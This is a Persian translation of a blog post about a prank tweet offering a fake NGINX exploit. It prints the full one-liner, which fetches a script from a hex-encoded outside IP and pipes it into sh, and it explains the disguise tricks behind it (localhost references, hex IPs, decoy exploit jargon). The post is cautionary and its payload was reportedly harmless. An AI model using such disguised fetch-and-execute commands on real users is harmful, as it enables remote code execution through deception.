موفقیت یک آزمایش اجتماعی با یک سوء استفاده جعلی برای nginx

توجه داشته باشید. ترجمه: نویسنده یادداشت اصلی، منتشر شده در 1 ژوئن، تصمیم به انجام یک آزمایش در میان علاقه مندان به امنیت اطلاعات. برای انجام این کار، او یک اکسپلویت جعلی برای یک آسیب پذیری نامشخص در وب سرور تهیه کرد و آن را در توییتر خود منتشر کرد. مفروضات او - افشای فوری توسط متخصصانی که فریب آشکار را در کد مشاهده می کنند - نه تنها به حقیقت نپیوستند... آنها فراتر از همه انتظارات بودند و در جهت مخالف: این توییت از طرف بسیاری از افراد که این کار را نکردند حمایت زیادی دریافت کرد. محتویات آن را بررسی کنید

موفقیت یک آزمایش اجتماعی با یک سوء استفاده جعلی برای nginx

TL;DR: تحت هیچ شرایطی از لوله گذاری فایل در sh یا bash استفاده نکنید. این یک راه عالی برای از دست دادن کنترل کامپیوتر شما است.

من می‌خواهم داستان کوتاهی در مورد یک اکسپلویت کمیک PoC که در 31 می ایجاد شد را با شما به اشتراک بگذارم. او به سرعت در پاسخ به اخبار از آلیسا اساژ شوچنکو، عضو ابتکار عمل صفر روز (ZDI)، که اطلاعات مربوط به یک آسیب‌پذیری در NGINX که منجر به RCE (اجرای کد از راه دور) می‌شود به زودی افشا خواهد شد. از آنجایی که NGINX بسیاری از وب‌سایت‌ها را قدرت می‌دهد، این خبر باید یک بمب بوده باشد. اما به دلیل تأخیر در فرآیند "افشای مسئولانه"، جزئیات آنچه اتفاق افتاد مشخص نبود - این یک روش استاندارد ZDI است.

موفقیت یک آزمایش اجتماعی با یک سوء استفاده جعلی برای nginx
توییت در مورد افشای آسیب پذیری در NGINX

پس از پایان کار بر روی یک تکنیک مبهم سازی جدید در curl، توییت اصلی را نقل کردم و "یک PoC کار" را منتشر کردم که از یک خط کد تشکیل شده بود که ظاهراً از آسیب پذیری کشف شده سوء استفاده می کند. البته این کاملا مزخرف بود. تصور می‌کردم که فوراً لو می‌شوم، و در بهترین حالت چند ریتوییت دریافت می‌کردم (اوه خوب).

موفقیت یک آزمایش اجتماعی با یک سوء استفاده جعلی برای nginx
توییت با بهره برداری جعلی

با این حال، نمی‌توانستم تصور کنم که بعداً چه اتفاقی افتاد. محبوبیت توییت من به شدت افزایش یافت. با کمال تعجب، در حال حاضر (15:00 به وقت مسکو 1 ژوئن) تعداد کمی از مردم متوجه شده اند که این جعلی است. بسیاری از مردم بدون اینکه اصلاً آن را بررسی کنند، آن را بازتوییت می کنند (چه رسد به اینکه گرافیک دوست داشتنی ASCII را تحسین کنند).

موفقیت یک آزمایش اجتماعی با یک سوء استفاده جعلی برای nginx
فقط ببینید چقدر زیباست!

در حالی که همه این حلقه‌ها و رنگ‌ها عالی هستند، واضح است که افراد برای دیدن آن‌ها باید کدی را روی دستگاه خود اجرا می‌کردند. خوشبختانه، مرورگرها به همین ترتیب کار می‌کنند، و همراه با این واقعیت که من واقعاً نمی‌خواستم به مشکل قانونی برسم، کد مدفون در سایت من فقط تماس‌های پژواک را بدون تلاش برای نصب یا اجرای کد اضافی انجام می‌داد.

انحراف کوچک: شبح آور, dnz، من و دیگر بچه های تیم توگ ازدحام ما مدتی است که با روش‌های مختلف برای مبهم کردن دستورات curl بازی می‌کنیم، زیرا جالب است... و ما گیک هستیم. netspooky و dnz چندین روش جدید را کشف کردند که برای من بسیار امیدوارکننده به نظر می رسید. من به سرگرمی ملحق شدم و سعی کردم تبدیل‌های اعشاری IP را به مجموعه ترفندها اضافه کنم. به نظر می رسد که IP را می توان به فرمت هگزادسیمال نیز تبدیل کرد. علاوه بر این، curl و سایر ابزارهای NIX با خوشحالی IP های هگزادسیمال را می خورند! بنابراین فقط ایجاد یک خط فرمان قانع کننده و ایمن بود. در نهایت به این موضوع اکتفا کردم:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

مهندسی الکترونیکی اجتماعی (SEE) - فراتر از فیشینگ

ایمنی و آشنایی بخش عمده ای از این آزمایش بود. من فکر می کنم آنها چیزی هستند که منجر به موفقیت او شد. خط فرمان به وضوح با ارجاع به "127.0.0.1" (معروف به لوکال هاست) امنیت را نشان می دهد. Localhost امن در نظر گرفته می شود و داده های موجود در آن هرگز از رایانه شما خارج نمی شوند.

آشنایی دومین جزء کلیدی SEE آزمایش بود. از آنجایی که مخاطبان هدف در درجه اول شامل افرادی بودند که با اصول اولیه امنیت رایانه آشنا بودند، ایجاد کد به گونه‌ای مهم بود که بخش‌هایی از آن آشنا و آشنا (و در نتیجه ایمن) به نظر برسد. وام گرفتن عناصر مفاهیم قدیمی اکسپلویت و ترکیب آنها به روشی غیرعادی بسیار موفق بوده است.

در زیر تجزیه و تحلیل دقیقی از تک لاینر ارائه شده است. همه چیز در این لیست می پوشد طبیعت آرایشی، و عملاً هیچ چیزی برای عملکرد واقعی آن مورد نیاز نیست.

چه اجزایی واقعاً ضروری هستند؟ این -gsS, -O 0x0238f06a, |sh و خود وب سرور وب سرور حاوی هیچ دستورالعمل مخربی نبود، اما به سادگی با استفاده از دستورات، گرافیک های ASCII را ارائه می کرد echo در اسکریپت موجود در index.html. زمانی که کاربر خطی را با |sh در وسط، index.html بارگذاری و اجرا شد. خوشبختانه، متولیان وب سرور هیچ نیت بدی نداشتند.

  • ../../../%00 - نشان دهنده فراتر رفتن از دایرکتوری است.
  • ngx_stream_module.so - مسیر یک ماژول تصادفی NGINX؛
  • /bin/sh%00<'protocol:TCP' - ما ظاهراً راه اندازی می کنیم /bin/sh روی ماشین هدف و خروجی را به کانال TCP هدایت کنید.
  • -O 0x0238f06a#PLToffset - ماده مخفی، تکمیل شده #PLToffset، به نظر می رسد مانند یک افست حافظه به نحوی موجود در PLT.
  • |sh; - یک قطعه مهم دیگر. ما باید خروجی را به sh/bash هدایت کنیم تا کدی را که از وب سرور مهاجم واقع در 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - ساختگی که در آن netcat به آن اشاره دارد /dev/tcp/localhostبه طوری که همه چیز دوباره امن به نظر برسد. در واقع هیچ کاری انجام نمی دهد و برای زیبایی در ردیف قرار می گیرد.

این پایان رمزگشایی از اسکریپت یک خطی و بحث در مورد جنبه های "مهندسی الکترونیکی اجتماعی" (فیشینگ پیچیده).

پیکربندی وب سرور و اقدامات متقابل

از آنجایی که اکثر مشترکان من infosec/هکر هستند، تصمیم گرفتم وب سرور را در برابر ابراز علاقه از طرف آنها کمی مقاوم‌تر کنم، فقط به این دلیل که بچه‌ها کاری برای انجام دادن داشته باشند (و جالب است که برپایی). من قصد ندارم تمام مشکلات را در اینجا لیست کنم زیرا آزمایش هنوز ادامه دارد، اما در اینجا چند کار وجود دارد که سرور انجام می دهد:

  • به طور فعال تلاش‌های توزیع را در شبکه‌های اجتماعی خاص نظارت می‌کند و تصاویر کوچک پیش‌نمایش مختلف را جایگزین می‌کند تا کاربر را تشویق کند روی پیوند کلیک کند.
  • به جای نمایش اسکریپت پوسته، Chrome/Mozilla/Safari/و غیره را به ویدیوی تبلیغاتی Thugcrowd هدایت می‌کند.
  • نشانه‌های آشکار نفوذ/هک آشکار را مشاهده می‌کند و سپس شروع به هدایت درخواست‌ها به سرورهای NSA می‌کند (ha!).
  • یک تروجان و همچنین یک روت کیت بایوس را روی تمام رایانه هایی که کاربران آن هاست را از یک مرورگر معمولی بازدید می کنند نصب می کند (شوخی!).

موفقیت یک آزمایش اجتماعی با یک سوء استفاده جعلی برای nginx
قسمت کوچکی از آنتی مرها

در این مورد، تنها هدف من تسلط بر برخی از ویژگی های آپاچی - به ویژه قوانین جالب برای تغییر مسیر درخواست ها - بود و فکر کردم: چرا که نه؟

NGINX Exploit (واقعی!)

مشترک شدن در @alisaesage در توییتر و کار بزرگ ZDI در رسیدگی به آسیب‌پذیری‌های بسیار واقعی و فرصت‌های بهره‌برداری در NGINX را دنبال کنید. کار آنها همیشه من را مجذوب خود کرده است و من از آلیس به خاطر صبر او با همه اشاره ها و اعلان هایی که توییت احمقانه من ایجاد کرد سپاسگزارم. خوشبختانه، عملکرد خوبی نیز داشت: به افزایش آگاهی از آسیب‌پذیری‌های NGINX و همچنین مشکلات ناشی از سوء استفاده از کرل کمک کرد.

منبع: www.habr.com

اضافه کردن نظر